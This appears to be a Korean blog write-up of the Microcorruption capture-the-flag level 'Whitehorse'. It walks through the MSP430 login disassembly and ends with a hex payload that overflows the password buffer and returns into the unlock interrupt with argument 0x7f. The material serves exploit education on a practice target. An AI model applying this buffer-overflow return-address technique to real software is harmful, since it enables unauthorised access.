Microcorruption Whitehorse

6

Microcorruption의 Whitehorse다.

4438 <main>
4438:  b012 f444      call #0x44f4 <login>

일단 main은 한줄이고, login 함수를 호출한다.

44f4 <login>
44f4:  3150 f0ff      add #0xfff0, sp
44f8:  3f40 7044      mov #0x4470 "Enter the password to continue.", r15
44fc:  b012 9645      call #0x4596 <puts>
4500:  3f40 9044      mov #0x4490 "Remember: passwords are between 8 and 16 characters.", r15
4504:  b012 9645      call #0x4596 <puts>
4508:  3e40 3000      mov #0x30, r14
450c:  0f41           mov sp, r15
450e:  b012 8645      call #0x4586 <getsn>
4512:  0f41           mov sp, r15
4514:  b012 4644      call #0x4446 <conditional_unlock_door>
4518:  0f93           tst r15
451a:  0324           jz #0x4522 <login+0x2e>
451c:  3f40 c544      mov #0x44c5 "Access granted.", r15
4520:  023c           jmp #0x4526 <login+0x32>
4522:  3f40 d544      mov #0x44d5 "That password is not correct.", r15
4526:  b012 9645      call #0x4596 <puts>
452a:  3150 1000      add #0x10, sp
452e:  3041           ret

이번에도 비슷하다. 8~16 사이 값이 패스워드고 r14는 입력 버퍼의 크기 0x30 (최대 48글자) , r15가 입력 버퍼인가보다. 그리고 conditional_unlock_door 함수를 호출해서 r15 값에 따라 문이 열리냐 안열리냐로 구분된다. 근데 이전 문제에서도 확인했다시피 내 입력 값으로 r15를 어떻게 조작할 수가 없다. 이번에도 16자 이상을 쭉 채워서 버퍼의 어느 위치가 login 함수의 ret인지 확인한다. ret를 인터럽트 call 주소로 변경해주고 다음 2 Byte에 0x7f 인자를 넣어주면 된다. call은 인자 ret jmp로 실행된다.

6161616161616161616161616161616160447f00

 

댓글 없음:

댓글 쓰기

Microcurruption Addis Ababa

11 Microcurruption의 Addis Ababa다. 4482: 3f40 0a00 mov #0xa, r15 4486: b012 5045 call #0x4550 <putchar> 448a: 8193 0...